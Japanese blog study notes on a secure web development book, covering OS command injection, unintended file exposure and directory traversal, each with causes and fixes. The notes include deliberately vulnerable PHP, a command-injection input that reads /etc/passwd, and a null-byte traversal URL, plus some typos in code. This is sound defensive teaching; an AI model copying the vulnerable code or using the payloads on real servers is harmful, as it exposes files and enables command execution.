体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

February 09, 2014

OSコマンド・インジェクション

発生箇所 シェルを呼び出す機能のある関数を実行している箇所
影響を受けるページ すべてのページが脆弱性の影響を受ける
影響の種類 秘密情報の漏洩、データの改ざん・削除、外部への攻撃(踏み台)、システムの停止など
利用者の関与の度合い 不要

概要

Webアプリケーションの開発に用いる言語の多くはシェル経由でOSコマンドを呼び出す機能を提供している。この機能の使い方に問題があると、意図しないOSコマンドが実行可能となる場合がある。これをOSコマンド・インジェクション脆弱性と呼ぶ。
OSコマンド・インジェクション脆弱性は影響が大きく非常に危険な脆弱性である。以下は典型的な攻撃シナリオである。

  1. 攻撃用ツールを外部からダウンロードする。
  2. ダウンロードしたツールに実行権限を与える。
  3. OSの脆弱性を内部から攻撃による権限昇格で管理者権限を得る。(Local Exploit)
  4. Webサーバは攻撃者の自由になる。

攻撃手法

例として下記の問い合わせフォームを用いる。

問い合わせフォーム
<form action="inquiry.php" method="post">
お問い合わせをどうぞ<br>
メールアドレス<input type="text" name="mail><br>
お問い合わせ<textarea name="inqu" cols="20" rows="3">
</textarea><br>
<input type="submit" value="送信">
</form>
受付画面のスクリプト
<?php
$mail = $_POST['mail'];
system("/user/sbin/sendmail -i <template.txt $mail");
//以下略
?>
<body>
お問い合わせを受け付けました。
</body>

template.txt はメールのヘッダ(From、MIMEエンコードされたSubject、Content-Type)と本文である。
正常系ではフォームのメールアドレス欄にメールアドレスを入力すれば、template.txtの内容のメールがそのメールアドレスに送られる。

攻撃では例えばメールアドレス欄に以下を入力する。

bob@example; cat /etc/passwd

送信ボタンを押すと /etc/passwd が表示される。
この例では表示するだけであるが、OSコマンド・インジェクション攻撃によりWebアプリケーションが稼動するユーザ権限で実行できるコマンドはすべて悪用が可能である。具体的にはファイルの削除、変更、外部からのファイルのダウンロード、ダウンロードしたツールの悪用などである。
攻撃の例として、概要で述べたような手順によるサーバの管理者権限奪取があげられる。

脆弱性の原因

シェルはコマンドラインによりOSを利用するためのインタフェースプログラムであり、Windowsでは cmd.exe、Unix系では sh などがある。
シェルには複数のコマンドを起動するための構文があるため、外部からパラメータを操作することにより元のコマンドに加えて別のコマンドを起動させられる場合がある。これがOSコマンド・インジェクションである。
また、開発者がOSコマンドを呼び出す意図がなくても、無意識にシェル起動のできる関数を使っている場合もある。
すなわち、OSコマンド・インジェクション脆弱性が発生するケースは以下の2通りある。

  • シェル経由でOSコマンドを呼び出す際に、シェルのメタ文字がエスケープされていない。
  • シェル機能を呼び出せる関数を使用している。

Unix系のシェルにおいて1行で複数のプログラムを起動する場合は以下の記法が使用できる。

$ echo aaa; echo bbb
aaa
bbb
$

この複数のプログラムを起動できるシェルの機能の悪用がOSコマンド・インジェクション攻撃である。
OSコマンドのパラメータとして指定する文字列にシェルのメタ文字を混入させることで、開発者の意図とは異なるOSコマンドが実行可能となることOSコマンド・インジェクション脆弱性の原因である。

OSコマンド・インジェクション脆弱性が生まれる条件は、以下の3つのすべてを満たすことである。

  • シェルを呼び出す機能のある関数を利用している。
  • シェル呼び出しの機能のある関数にパラメータを渡している。
  • パラメータ内に含まれるシェルのメタ文字をエスケープしていない。

対策

対策は、採用すべき順に以下がある。

  • OSコマンド呼び出しを使わない実装方法を選択する。
  • シェル呼び出し機能のある関数の利用を避ける。
  • 外部から入力された文字列をコマンドラインのパラメータに渡さない。
  • OSコマンドに渡すパラメータを安全な関数によりエスケープする。

どの対策を選択するかは設計段階で決めておくべきである。設計の各フェーズでは以下の検討を推奨する。

基本設計フェーズ
  実装方式設計として以下を検討する。
・主要な機能の実装方針を決定する。
・その際に極力ライブラリを利用するが、やむを得ない場合はOSコマンドを利用する。

以下、具体的な実装方法について説明する。

●OSコマンド呼び出しを使わない実装方法を選択する

OSコマンドを呼び出さない(シェルを呼び出せる機能を利用しない)ことにより、OSコマンド・インジェクション脆弱性が混入する可能性がなくなり、またOSコマンド呼び出しのオーバーヘッドがないことから多くの場合に性能も向上する。
先の問い合わせに対してメールを送信する受付スクリプトをライブラリを使用して書き換えた例を示す。

<?php
$mail = $_POST['mail'];
mb_language('Japanese');
mb_send_mail($mail, "受け付けました",
             "お問い合わせを受け付けました。",
             "From: webmaster@example.jp");
?>
<body>
お問い合わせを受け付けました
</body>

ただし、メール送信機能についてはメールヘッダ・インジェクション脆弱性が混入する可能性がある(メールヘッダ・インジェクション脆弱性)。

●外部から入力された文字列をコマンドラインのパラメータに渡さない

例として、sendmailコマンドには -t というオプションを指定すると、宛先のメールアドレスをコマンドラインで指定する代わりに、メール内容のTo、CC、Bccの各ヘッダから読み取る。この機能を使うと、外部から入力された文字列をコマンドラインに指定せずに済むのでOSコマンド・インジェクション脆弱性の混入する可能性がなくなる。
サンプルコードは以下。

<?php
$mail = $_POST['mail'];
$h = popen('/usr/sbin/sendmail -t -i', 'w');
if ($h === FALSE) {
	die('ただいま混みあっています。しばらくたってから...');
}
fwrite($h, <<< EndOfMail
To: $mail
From: webmaster@example.jp
Subject: =?UTF-8?B?5Y+X44GR5LuY44GR44G+44GX44Gf?=
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit

お問い合わせを受け付けました。
EndOfMail;
);
pclose($h);
?>
<body>
お問い合わせを受け付けました。
</body>

ただし、メール送信機能についてはメールヘッダ・インジェクション脆弱性が混入する可能性がある(メールヘッダ・インジェクション脆弱性)。

●OSコマンドに渡すパラメータを安全な関数によりエスケープする

今までのパターンでOSコマンド・インジェクション脆弱性を解消できない場合にはシェル経由でOSコマンドを呼ぶことになる。
OSコマンドに渡すパラメータをエスケープする必要があるがシェルのエスケープルールは複雑なので、安全なエスケープが行えるライブラリ関数を用いるべきである。PHPの場合は excapeshellarg() が該当する。
system() でsendmailコマンドを呼ぶ場合は以下のようになる。

system('/usr/sbin/sendmail <template.txt' . escapeshellarg($mail));

PHPには同種の関数として escapeshellcmd() があるが、使い方によっては脆弱性の原因となるので推奨しない。
また、シェルエスケープルールの複雑さと環境依存性から escapeshellarg() を使っても脆弱性が混入する可能性はありえる。よって、保険的対策としてパラメータの検証を行うことを推奨する。

●保険的な対策

対策に漏れがあった場合のために、いかの保険的対策を推奨する。

  • パラメータを検証する。
  • アプリケーションの稼動する権限を最小限にする。
  • WebサーバのOSやミドルウェアのパッチ適用

OSコマンド・インジェクション攻撃でもっと被害が大きくなるのは、サーバ内部からOSの脆弱性を突いた攻撃(Local Exploit)を受ける場合である。このためにパッチ適用を推奨する。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.11.1 OSコマンド・インジェクション

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

February 08, 2014

意図しないファイル公開

発生箇所 Webサイト全体
影響を受けるページ 公開されたファイルのみ
影響の種類 重要情報の漏洩
利用者の関与の度合い 不要

概要

外部から閲覧されると困るファイルをWebサーバの公開ディレクトリに配置していると、ファイルのURLがわかれば外部から閲覧が可能となる。
これによって重要情報の漏洩が発生する。

脆弱性の原因

原因は非公開のファイルを公開ディレクトリに置くことである。
公開ディレクトリに置いたファイルが外部から閲覧できる条件は以下である。

  • ファイルが公開ディレクトリに置かれている。
  • ファイルに対するURLを知る手段がある。
  • ファイルに対するアクセス制限が掛かっていない。

ファイルに対するURLを知る手段にはいかがある。

  • ディレクトリ・リスティングが有効である。
  • ファイル名が日付やユーザ名、連番など類推可能である。
  • user.dat、data.txtなどありがちな名前である。
  • エラーメッセージや他の脆弱性によりファイル名がわかる。
  • 外部サイトからリンクされるなどして検索エンジンに登録される。

URLでディレクトリ名を指定した場合にファイル一覧を表示する機能をファイル・リスティングと呼ぶ。

ファイルへのアクセス制限のみで対処するのは危険である。うっかりミスやサーバ移転の際の設定変更などアクセス制限が外れてしまう懸念がある。

対策

非公開ファイルを効果ディレクトリに置かないことである。そのためには以下が推奨される。

  • アプリケーションの設計時にファイルの安全な格納場所を決める。
  • レンタルサーバを契約する場合に非公開ディレクトリが利用できることを確認する。

また保険的にディレクト・リスティングを無効にする。Apacheの場合は httpd.conf で以下のように設定する。

<Directory パス指定>
  Options -Indexes その他オプション
  その他設定
</Directory>

レンタルサーバなどで httpd.conf の設定が変更できない場合は、.htaccess で以下のように設定する。

Options -Indexes

公開ディレクトリに非公開ファイルを置かざるを得ない場合(既存のサイトでファイルの移動が難しい場合など)、.htaccess に記述してファイルの外部からの閲覧を禁止する設定をして暫定的に対処することができる。

<Files "*.txt">
  deny from all
</Files>

参考文献:体系的に学ぶWebアプリケーションの作り方 4.10.2 意図しないファイル公開

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

February 06, 2014

ディレクトリ・トラバーサル脆弱性

発生箇所 ファイル名を外部から指定できるページ
影響を受けるページ すべてのページが脆弱性の影響を受ける。
影響の種類 秘密情報の漏洩、データの改ざん・削除、任意のスクリプトの実行、アプリケーションの機能停止
利用者の関与の度合い 不要

概要

外部からパラメータでサーバ上のファイル名を指定できるWebアプリケーションでは、ファイル名に対するチェックが不十分であるとアプリケーションの意図しないファイルに対して閲覧や改ざん、削除ができる場合がある。これをディレクトリ・トラバーサル脆弱性と呼ぶ。
影響は以下。

  • Webサーバ内のファイルの閲覧
    →重要情報の漏洩
  • Webサーバ内のファイルの改ざん、削除
    →Webコンテンツ改ざん
    →マルウェアのサイトなどに誘導する仕組みの書き込み
    →スクリプトファイルや設定ファイルの削除による機能停止
    →スクリプトファイル改ざんによる任意のスクリプト実行

攻撃手法

以下は画面のテンプレートファイルを指定できるスクリプトである。

<?php
define('TMPLDIR', '/var/www/tmpl/');
$tmpl = $_GET['template'];
?>
<body>
<?php readfile(TMPLDIR . $tmpl . '.html'); ?>
以下略
</body>

このスクリプトの正常系の実行例を示す。

http://example.jp/sample.php?template=spring

上記のURLでは
/var/www/tmpl/spring.html
が表示される。

次は攻撃の例を示す。

http://example.jp/sample.php?template=../../../etx/hosts%00

この場合、ファイルパスは次のように組み立てられる。
/var/www/tmpl/../../../etc/hosts[NULL].html
"[NULL]"はヌルバイトを表す。ヌルバイトによりファイル名が終端され、正規化後のパスは
/etc/hosts
となり、hostsファイルが表示される。
このように、ディレクトリトラバーサル・トラバーサル脆弱性があるとWebサーバ上の任意のファイルにアクセスが可能となる。アプリケーションの実装によっては書き込みや削除が可能となる場合もある。
さらにディレクトリ・トラバーサルを用いてPHPなどのスクリプトファイルに書き込みができると、Webサーバ上で実行することにより任意のスクリプトを実行できる場合があります。この際の影響はOSコマンド・インジェクションと同じで、外部から不正プログラムをダウンロードされたりシステムに対する不正操作が可能となる。

脆弱性の原因

  • ファイル名を外部から指定することができる。
  • ファイル名として絶対パスや相対パスの形で異なるディレクトリを指定できる。
  • 組み立てたファイル名に対するアクセスの可否をチェックしていない。

上記3つをすべて満たす場合にディレクトリ・トラバーサル脆弱性が発生する。

対策

上記、であげた原因のうちいずれか1つでも対応すれば脆弱性は解消する。
以下、対策を説明する。

●外部からファイル名を指定できる仕様を避ける

ファイル名を外部から指定できなくすれば、ディレクトリ・トラバーサル脆弱性を根本的に解決できる。以下の方法で可能である。
・ファイル名を固定にする。
・ファイル名を直接指定するのではなく番号などで間接的に指定する。

●ファイル名にディレクトリが含まれないようにする

ファイル名にディレクトリ名が含まれないようにすれば、アプリケーションの想定したディレクトリのみにアクセスすることになりディレクトリ・トラバーサル脆弱性が解消する。
ディレクトリを示す文字記号はOSにより異なるので、OSによる違いを吸収できるライブラリを使用するべきである。PHPの場合はbasename()が使用できる。
basename()を用いた対策例を以下に示す。

<?php
define('TMPDIR', '/var/www/tmpl');
$tmpl = basename($_GET['template']);
?>
<body>
<?php readfile(TMPDIR . $tmpl . '.html'); ?>
</body>

basename() はヌルバイトがあっても削除しないので、basename() を使用しても拡張子を変更される場合があるので注意が必要である。
例えば外部から a.php%00 というファイル名(パーセントエンコーディングされている)が指定された場合、後にスクリプトで拡張子を付加してもヌルバイトで終端されて a.php というファイル名ができる。

●ファイル名を英数字に限定する

ファイル名の文字種の仕様を英数字に限定すればディレクトリ・トラバーサル脆弱性への攻撃に用いる記号文字が使えなくなる。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.10.1 ディレクトリ・トラバーサル脆弱性

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

より以前の記事一覧

June 2021
Sun Mon Tue Wed Thu Fri Sat
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30      
無料ブログはココログ

日本blog村

  • にほんブログ村 IT技術ブログへ
  • にほんブログ村 アニメブログへ
  • にほんブログ村 サッカーブログ アルビレックス新潟へ

好きな音楽家

メモ

XI-Prof